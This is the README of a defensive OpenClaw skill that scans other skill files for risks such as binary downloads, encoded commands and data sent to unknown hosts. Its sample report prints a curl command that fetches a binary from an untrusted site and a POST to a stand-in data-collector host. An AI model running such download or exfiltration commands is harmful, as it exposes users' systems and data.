Security Scanner

Description

A security-focused skill that analyzes OpenClaw SKILL.md files and skill packages for potential security risks, malicious patterns, and suspicious behaviors. This tool helps protect your system by detecting:

Hidden external downloads or executables
Suspicious API calls and endpoints
Dangerous file system operations
Obfuscated or encoded commands
Unusual prerequisite requirements
Known malicious patterns

Why this matters: This scanner helps you review skills before installation by flagging potentially suspicious instruction patterns.

Features

✅ Pattern Detection: Identifies suspicious code patterns and behaviors
✅ Prerequisite Analysis: Validates required dependencies and downloads
✅ API Endpoint Validation: Checks for suspicious external connections
✅ File System Auditing: Detects dangerous file operations
✅ Encoding Detection: Flags base64, hex, and other obfuscation attempts
✅ Risk Scoring: Assigns risk levels (LOW, MEDIUM, HIGH, CRITICAL)
✅ Detailed Reports: Provides clear explanations of findings
✅ Whitelist Support: Configure trusted domains and patterns

How It Works

This is an OpenClaw skill (not a standalone program). When you ask the agent to scan a skill file:

The agent reads this security-scanner skill to learn what patterns to look for
The agent reads the skill file you want to scan
The agent analyzes the instructions and reports findings
You manually review the flagged items

Note: The included

scanner.js

file can also be run directly with Node.js 18+ if you prefer command-line usage.

Installation

Install via ClawHub or add to your OpenClaw skills directory.

For command-line usage (optional):

# Clone the repository
git clone https://github.com/anikrahman0/security-skill-scanner.git
cd security-skill-scanner
Run the scanner

node scanner.js path/to/SKILL.md

Configuration

Create a

.security-scanner-config.json

in your OpenClaw directory (optional):

{
  "whitelistedDomains": [
    "github.com",
    "api.openai.com",
    "api.anthropic.com",
    "raw.githubusercontent.com"
  ],
  "whitelistedCommands": [
    "npm install",
    "pip install"
  ],
  "strictMode": false
}

Usage

Scan a SKILL.md file

User: "Scan the skill file at ~/Downloads/new-skill/SKILL.md for security issues"
Agent: [Runs security scan and reports findings]

Scan before installation

User: "I have the email-automation skill file. Can you scan it for security risks?"
[User uploads the SKILL.md file]
Agent: [Reads and analyzes the skill file, provides risk assessment]

Important: If you ask Claude to download a skill from the internet first, that download step will use network access (though the scanner itself runs offline).

Batch scan all installed skills

User: "Scan all my installed OpenClaw skills for security issues"
Agent: [Scans all skills in ~/.openclaw/skills/ and generates report]

What It Detects

🔴 CRITICAL Risks

Shell command injection attempts
External executable downloads (curl/wget binaries)
Suspicious eval() or exec() usage
Credential harvesting patterns
Known malware signatures

🟠 HIGH Risks

Unvalidated external API calls
File system write access to sensitive directories
Base64 or hex encoded commands
Requests to unknown domains
Privilege escalation attempts

🟡 MEDIUM Risks

Extensive file system read access
Network requests without HTTPS
Large numbers of dependencies
Unusual prerequisite requests
Deprecated or vulnerable packages

🟢 LOW Risks

Minor code quality issues
Missing error handling
Incomplete documentation
Non-critical warnings

⚠️ IMPORTANT: False Positives & Limitations

This Scanner WILL Flag Legitimate Patterns

The scanner uses regex patterns that may match innocent code. Common false positives:

✗ Backticks in markdown - Code examples using
```
backticks
```
✗ Template strings - Documentation showing
```
${variable}
```
syntax
✗ Base64 examples - Skills demonstrating encoding/decoding
✗ Package managers - Legitimate
```
npm install
```
or
```
pip install
```
commands
✗ GitHub URLs - Links to
```
raw.githubusercontent.com
```

What This Actually Scans

Skills are markdown instruction files, not executable code. This scanner:

✅ Reads the markdown text of skill files
✅ Looks for instruction patterns that might be concerning
✅ Flags items for your manual review
❌ Does NOT scan for executable malware (skills aren't programs)
❌ Does NOT provide definitive verdicts

Your Responsibility

YOU must review all flagged items in context. Ask yourself:

Does this pattern make sense for what the skill does?
Is the author trustworthy?
Are the instructions clear and reasonable?

When in doubt, ask the skill author or community.

Output Format

=== Security Scan Report ===
Skill: email-automation
Scanned: 2024-02-09 14:30:22
Overall Risk: HIGH ⚠️
FINDINGS:
[CRITICAL] External Binary Download Detected
Location: Line 45 in prerequisites
Pattern: curl https://unknown-site.com/tool -o /usr/local/bin/helper
Risk: This downloads and executes an external binary from an untrusted source
Recommendation: DO NOT INSTALL - Manual verification required
[HIGH] Suspicious API Endpoint
Location: Line 89 in execute()
Pattern: POST to http://data-collector.xyz/log
Risk: Sends data to unknown third-party server
Recommendation: Review what data is being sent
[MEDIUM] Unencrypted Network Request
Location: Line 102
Pattern: HTTP instead of HTTPS
Risk: Data transmitted without encryption
Recommendation: Request HTTPS version
SUMMARY:
Total Issues: 3
Critical: 1
High: 1
Medium: 1
Low: 0

RECOMMENDATION: ❌ DO NOT INSTALL
This skill has critical security issues that pose significant risk to your system.

Example Scenarios

Scenario 1: Clean Skill

User: "Scan the weather-checker skill"
Agent: "✅ SAFE - No security issues detected. The skill uses standard API calls
       to api.weatherapi.com with proper HTTPS and no file system access."

Scenario 2: Suspicious Skill

User: "Should I install the productivity-helper skill?"
Agent: "⚠️ WARNING - This skill attempts to download an external binary and
       makes requests to an unknown domain. Risk Level: CRITICAL
       Recommendation: DO NOT INSTALL"

Scenario 3: Minor Issues

User: "Analyze the note-taker skill"
Agent: "⚠️ CAUTION - Risk Level: LOW
       Found 2 minor issues:
       - Uses HTTP instead of HTTPS for icon download
       - Missing input validation on file paths
       These can likely be fixed. Consider contacting the author."

Security Guarantees

This scanner itself is designed with security in mind:

✅ No Network Access: The scanner itself runs completely offline (but if you ask Claude to download a skill file first, that download uses network)
✅ No External Dependencies: Pure JavaScript/Node.js
✅ Read-Only: Never modifies files being scanned
✅ No Telemetry: Doesn't send data anywhere
✅ Open Source: All code is auditable
✅ Sandboxed: Doesn't execute code from scanned skills

False Positives

The scanner may flag legitimate uses of certain patterns. Common false positives:

npm/pip installs: Legitimate package managers may trigger warnings
GitHub URLs: Raw GitHub content URLs are generally safe
Config files: Skills that write to config files may be flagged
Log files: Creating log files may trigger file system warnings

Use judgment and review flagged items in context.

Limitations

Cannot detect zero-day exploits or novel attack vectors
May miss sophisticated obfuscation techniques
Requires human judgment for final decision
Cannot scan encrypted or compiled code
Pattern-based detection can have false positives

This tool is a helpful first line of defense, but not a replacement for careful review.

Contributing

Found a malicious pattern not detected? Submit an issue or PR with:

The malicious pattern
Example skill that uses it
Suggested detection method

Roadmap

Machine learning-based pattern detection
Integration with VirusTotal API (optional)
Automatic skill reputation checking
Community-sourced malware signatures
Browser extension for ClawHub.ai scanning
CI/CD integration for skill developers

Support

Report issues: https://github.com/anikrahman0/security-skill-scanner/issues
Suggest improvements: Pull requests welcome
Security concerns: a7604366@gmail.com

License

MIT License - Free to use, modify, and distribute

Disclaimer

This tool provides pattern-based security scanning with expected false positives. It scans instruction files (markdown), not executable code.

Critical: This scanner cannot provide definitive security verdicts. All flagged items require manual review in context. Skills are instructions for Claude to read, not programs that execute automatically.

Always review skills carefully before installation, especially those requiring system-level permissions. The authors are not responsible for any damages resulting from use of this tool or installation of scanned skills.

Remember: If a skill seems too good to be true or requests unusual permissions, it probably is suspicious. When in doubt, don't install it.

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